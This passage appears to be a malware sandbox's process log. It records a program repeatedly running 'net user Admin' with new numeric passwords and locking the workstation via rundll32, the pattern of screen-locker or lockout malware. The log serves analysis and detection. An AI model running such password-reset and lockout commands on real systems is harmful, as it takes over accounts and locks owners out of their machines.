C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 270261804
4⤵
PID:3184

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1728

C:\Windows\System32\net.exe
net user Admin 2266710422
3⤵
PID:3884

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2266710422
4⤵
PID:1520

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3680

C:\Windows\System32\net.exe
net user Admin 253282557
3⤵
PID:2140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 253282557
4⤵
PID:2876

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2336

C:\Windows\System32\net.exe
net user Admin 2095318605
3⤵
PID:2976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2095318605
4⤵
PID:3392

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2896

C:\Windows\System32\net.exe
net user Admin 1041027707
3⤵
PID:3004

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1041027707
4⤵
PID:2748

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2804

C:\Windows\System32\net.exe
net user Admin 924211571
3⤵
PID:3616

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 924211571
4⤵
PID:2984

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2988

C:\Windows\System32\net.exe
net user Admin 575118674
3⤵
PID:3148

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 575118674
4⤵
PID:1920

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1612

C:\Windows\System32\net.exe
net user Admin 1302419557
3⤵
PID:3276

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1302419557
4⤵
PID:3216

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:900

C:\Windows\System32\net.exe
net user Admin 1013621932
3⤵
PID:4064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1013621932
4⤵
PID:3140

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3404

C:\Windows\System32\net.exe
net user Admin 101373015
3⤵
PID:1752

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 101373015
4⤵
PID:3964

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1284

C:\Windows\System32\net.exe
net user Admin 1793417594
3⤵
PID:2424

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1793417594
4⤵
PID:1848

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3580

C:\Windows\System32\net.exe
net user Admin 2313921965
3⤵
PID:2408

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2313921965
4⤵
PID:3804

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1936

C:\Windows\System32\net.exe
net user Admin 66669941
3⤵
PID:3808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 66669941
4⤵
PID:3868

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1188

C:\Windows\System32\net.exe
net user Admin 1565010401
3⤵
PID:2568

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1565010401
4⤵
PID:3212

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2660

C:\Windows\System32\net.exe
net user Admin 280694101
3⤵
PID:680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 280694101
4⤵
PID:4016

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:952

C:\Windows\System32\net.exe
net user Admin 31951544
3⤵
PID:1012

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 31951544
4⤵
PID:1652

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1508

C:\Windows\System32\net.exe
net user Admin 30929962
3⤵
PID:3076

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 30929962
4⤵
PID:3960

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3472

C:\Windows\System32\net.exe
net user Admin 1973119749
3⤵
PID:1976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1973119749
4⤵
PID:708

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:360

C:\Windows\System32\net.exe
net user Admin 1063927737
3⤵
PID:64

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1063927737
4⤵
PID:608

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1208

C:\Windows\System32\net.exe
net user Admin 462813323
3⤵
PID:1860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 462813323
4⤵
PID:868

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:948

C:\Windows\System32\net.exe
net user Admin 154598594
3⤵
PID:1372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 154598594
4⤵
PID:3920

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:344

C:\Windows\System32\net.exe
net user Admin 2369531853
3⤵
PID:1144

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2369531853
4⤵
PID:1724

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3792

C:\Windows\System32\net.exe
net user Admin 1459717040
3⤵
PID:1792

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1459717040
4⤵
PID:2996

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3128

C:\Windows\System32\net.exe
net user Admin 2768720528
3⤵
PID:3560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2768720528
4⤵
PID:3660

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2144

C:\Windows\System32\net.exe
net user Admin 1007426360
3⤵
PID:1692

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1007426360
4⤵
PID:3192

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1516

C:\Windows\System32\net.exe
net user Admin 112606084
3⤵
PID:1444

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 112606084
4⤵
PID:2180

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2492

C:\Windows\System32\net.exe
net user Admin 425827478
3⤵
PID:3948

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 425827478
4⤵
PID:2200

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3064

C:\Windows\System32\net.exe
net user Admin 2393618854
3⤵
PID:3744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2393618854
4⤵
PID:2808

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3576

C:\Windows\System32\net.exe
net user Admin 843523740
3⤵
PID:2820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 843523740
4⤵
PID:3168

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3244

C:\Windows\System32\net.exe
net user Admin 2599021290
3⤵
PID:1828

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2599021290
4⤵
PID:3676

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3720

C:\Windows\System32\net.exe
net user Admin 3197418348
3⤵
PID:1916

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3197418348
4⤵
PID:3208

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:356

C:\Windows\System32\net.exe
net user Admin 2857232375
3⤵
PID:3500

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2857232375
4⤵
PID:2284

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3448

C:\Windows\System32\net.exe
net user Admin 808028215
3⤵
PID:3040

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 808028215
4⤵
PID:1304

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1644

C:\Windows\System32\net.exe
net user Admin 2345131187
3⤵
PID:2396

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2345131187
4⤵
PID:3116

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:4052

C:\Windows\System32\net.exe
net user Admin 2168410599
3⤵
PID:3652

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2168410599
4⤵
PID:3852

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2952

C:\Windows\System32\net.exe
net user Admin 1062025633
3⤵
PID:3808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1062025633
4⤵
PID:1272

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3860

C:\Windows\System32\net.exe
net user Admin 901431195
3⤵
PID:2280

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 901431195
4⤵
PID:1268

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:516

C:\Windows\System32\net.exe
net user Admin 22381679
3⤵
PID:3872

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 22381679
4⤵
PID:3084

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1180

C:\Windows\System32\net.exe
net user Admin 153152993
3⤵
PID:2744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 153152993
4⤵
PID:3120

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1512

C:\Windows\System32\net.exe
net user Admin 261481045
3⤵
PID:3988

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 261481045
4⤵
PID:60

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3096

C:\Windows\System32\net.exe
net user Admin 1640012713
3⤵
PID:1976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1640012713
4⤵
PID:3056

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1684

C:\Windows\System32\net.exe
net user Admin 3058029891
3⤵
PID:864

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3058029891
4⤵
PID:4000

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:884

C:\Windows\System32\net.exe
net user Admin 300647046
3⤵
PID:3516

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 300647046
4⤵
PID:2364

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1060

C:\Windows\System32\net.exe
net user Admin 1513418491
3⤵
PID:2264

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1513418491
4⤵
PID:1428

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3052

C:\Windows\System32\net.exe
net user Admin 1457019384
3⤵
PID:1352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1457019384
4⤵
PID:3540

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3604

C:\Windows\System32\net.exe
net user Admin 76577159
3⤵
PID:1604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 76577159
4⤵
PID:3568

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3788

C:\Windows\System32\net.exe
net user Admin 180744153
3⤵
PID:3560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 180744153
4⤵
PID:1680

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3680

C:\Windows\System32\net.exe
net user Admin 284055996
3⤵
PID:1900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 284055996
4⤵
PID:2152

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2336

C:\Windows\System32\net.exe
net user Admin 10679693
3⤵
PID:2140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 10679693
4⤵
PID:2560

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2896

C:\Windows\System32\net.exe
net user Admin 284923399
3⤵
PID:2976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 284923399
4⤵
PID:2756

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2804

C:\Windows\System32\net.exe
net user Admin 2682121485
3⤵
PID:3004

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2682121485
4⤵
PID:2404

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3168

C:\Windows\System32\net.exe
net user Admin 3269816886
3⤵
PID:2820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3269816886
4⤵
PID:1504

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3148

C:\Windows\System32\net.exe
net user Admin 1690826205
3⤵
PID:3060

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1690826205
4⤵
PID:1216

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3216

C:\Windows\System32\net.exe
net user Admin 2479931594
3⤵
PID:3140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2479931594
4⤵
PID:1632

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:4064

C:\Windows\System32\net.exe
net user Admin 314431772
3⤵
PID:3964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 314431772
4⤵
PID:2332

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2400

C:\Windows\System32\net.exe
net user Admin 1472215899
3⤵
PID:1848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1472215899
4⤵
PID:3580

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1624

C:\Windows\System32\net.exe
net user Admin 400231749
3⤵
PID:1740

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 400231749
4⤵
PID:1936

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2732

C:\Windows\System32\net.exe
net user Admin 2231223373
3⤵
PID:3856

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2231223373
4⤵
PID:1188

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3880

C:\Windows\System32\net.exe
net user Admin 273594628
3⤵
PID:3212

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 273594628
4⤵
PID:2660

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2240

C:\Windows\System32\net.exe
net user Admin 2378113458
3⤵
PID:3640

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2378113458
4⤵
PID:2824

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:924

C:\Windows\System32\net.exe
net user Admin 2274412050
3⤵
PID:1652

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2274412050
4⤵
PID:1508

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:68

C:\Windows\System32\net.exe
net user Admin 2161922673
3⤵
PID:800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2161922673
4⤵
PID:3472

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:676

C:\Windows\System32\net.exe
net user Admin 2717811125
3⤵
PID:3772

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2717811125
4⤵
PID:360

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:396

C:\Windows\System32\net.exe
net user Admin 2188923813
3⤵
PID:820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2188923813
4⤵
PID:1208

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:316

C:\Windows\System32\net.exe
net user Admin 18384482
3⤵
PID:3972

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 18384482
4⤵
PID:948

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1548

C:\Windows\System32\net.exe
net user Admin 141576665
3⤵
PID:2344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 141576665
4⤵
PID:344

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2328

C:\Windows\System32\net.exe
net user Admin 2001221172
3⤵
PID:420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2001221172
4⤵
PID:3792

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1324

C:\Windows\System32\net.exe
net user Admin 11710898
3⤵
PID:3524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 11710898
4⤵
PID:3128

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1648

C:\Windows\System32\net.exe
net user Admin 865127745
3⤵
PID:1676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 865127745
4⤵
PID:2144

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1520

C:\Windows\System32\net.exe
net user Admin 231522077
3⤵
PID:2120

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 231522077
4⤵
PID:1516

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1876

C:\Windows\System32\net.exe
net user Admin 3169216283
3⤵
PID:2836

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3169216283
4⤵
PID:2492

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2924

C:\Windows\System32\net.exe
net user Admin 74318507
3⤵
PID:980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 74318507
4⤵
PID:3048

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2800

C:\Windows\System32\net.exe
net user Admin 225208277
3⤵
PID:2808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 225208277
4⤵
PID:3576

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2984

C:\Windows\System32\net.exe
net user Admin 2361714313
3⤵
PID:3552

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2361714313
4⤵
PID:2564

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1504

C:\Windows\System32\net.exe
net user Admin 1928724518
3⤵
PID:2820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1928724518
4⤵
PID:3148

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1216

C:\Windows\System32\net.exe
net user Admin 1241526037
3⤵
PID:3060

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1241526037
4⤵
PID:3216

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1632

C:\Windows\System32\net.exe
net user Admin 707522035
3⤵
PID:3140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 707522035
4⤵
PID:4064

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2332

C:\Windows\System32\net.exe
net user Admin 151794735
3⤵
PID:3964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 151794735
4⤵
PID:2400

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1252

C:\Windows\System32\net.exe
net user Admin 2738812072
3⤵
PID:1848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2738812072
4⤵
PID:1624

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1936

C:\Windows\System32\net.exe
net user Admin 48921324
3⤵
PID:1740

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 48921324
4⤵
PID:2732

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1188

C:\Windows\System32\net.exe
net user Admin 1942132486
3⤵
PID:3856

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1942132486
4⤵
PID:3880

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2660

C:\Windows\System32\net.exe
net user Admin 992726273
3⤵
PID:3212

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 992726273
4⤵
PID:2240

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2824

C:\Windows\System32\net.exe
net user Admin 2081524708
3⤵
PID:3640

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2081524708
4⤵
PID:924

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1508

C:\Windows\System32\net.exe
net user Admin 699828414
3⤵
PID:1652

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 699828414
4⤵
PID:68

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3472

C:\Windows\System32\net.exe
net user Admin 285099519
3⤵
PID:800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 285099519
4⤵
PID:676

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:604

C:\Windows\System32\net.exe
net user Admin 924113992
3⤵
PID:360

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 924113992
4⤵
PID:396

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3972

C:\Windows\System32\net.exe
net user Admin 1632722004
3⤵
PID:1548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1632722004
4⤵
PID:3920

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:344

C:\Windows\System32\net.exe
net user Admin 2534024747
3⤵
PID:2328

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2534024747
4⤵
PID:3792

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:420

C:\Windows\System32\net.exe
net user Admin 325073296
3⤵
PID:1324

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 325073296
4⤵
PID:3128

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3524

C:\Windows\System32\net.exe
net user Admin 2352611040
3⤵
PID:1648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2352611040
4⤵
PID:2144

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3884

C:\Windows\System32\net.exe
net user Admin 2182426982
3⤵
PID:3068

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2182426982
4⤵
PID:3192

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2876

C:\Windows\System32\net.exe
net user Admin 101299900
3⤵
PID:2840

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 101299900
4⤵
PID:2180

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3392

C:\Windows\System32\net.exe
net user Admin 164379216
3⤵
PID:1756

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 164379216
4⤵
PID:3636

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2200

C:\Windows\System32\net.exe
net user Admin 185861865
3⤵
PID:2964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 185861865
4⤵
PID:3732

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3132

C:\Windows\System32\net.exe
net user Admin 124101305
3⤵
PID:3004

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 124101305
4⤵
PID:752

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3168

C:\Windows\System32\net.exe
net user Admin 2222829257
3⤵
PID:3736

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2222829257
4⤵
PID:1852

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1108

C:\Windows\System32\net.exe
net user Admin 1220517195
3⤵
PID:3368

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1220517195
4⤵
PID:1928

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1472

C:\Windows\System32\net.exe
net user Admin 2992228056
3⤵
PID:2892

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2992228056
4⤵
PID:1100

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3500

C:\Windows\System32\net.exe
net user Admin 88563109
3⤵
PID:2084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 88563109
4⤵
PID:2424

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3040

C:\Windows\System32\net.exe
net user Admin 1741321569
3⤵
PID:3692

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1741321569
4⤵
PID:3852

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2396

C:\Windows\System32\net.exe
net user Admin 3165615887
3⤵
PID:3848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3165615887
4⤵
PID:1312

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2408

C:\Windows\System32\net.exe
net user Admin 1899429747
3⤵
PID:3784

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1899429747
4⤵
PID:1268

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3808

C:\Windows\System32\net.exe
net user Admin 290894848
3⤵
PID:3984

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 290894848
4⤵
PID:660

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2280

C:\Windows\System32\net.exe
net user Admin 3236014662
3⤵
PID:952

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3236014662
4⤵
PID:372

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:680

C:\Windows\System32\net.exe
net user Admin 372917392
3⤵
PID:1180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 372917392
4⤵
PID:4024

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2085018278
4⤵
PID:1512

C:\Windows\System32\net.exe
net user Admin 284802425
3⤵
PID:1512

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 284802425
4⤵
PID:620

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1036

C:\Windows\System32\net.exe
net user Admin 1101126554
3⤵
PID:3096

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1101126554
4⤵
PID:868

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3100

C:\Windows\System32\net.exe
net user Admin 1427813949
3⤵
PID:3516

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1427813949
4⤵
PID:1376

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3976

C:\Windows\System32\net.exe
net user Admin 106124132
3⤵
PID:2264

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 106124132
4⤵
PID:1724

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3540

C:\Windows\System32\net.exe
net user Admin 1395910360
3⤵
PID:1352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1395910360
4⤵
PID:2996

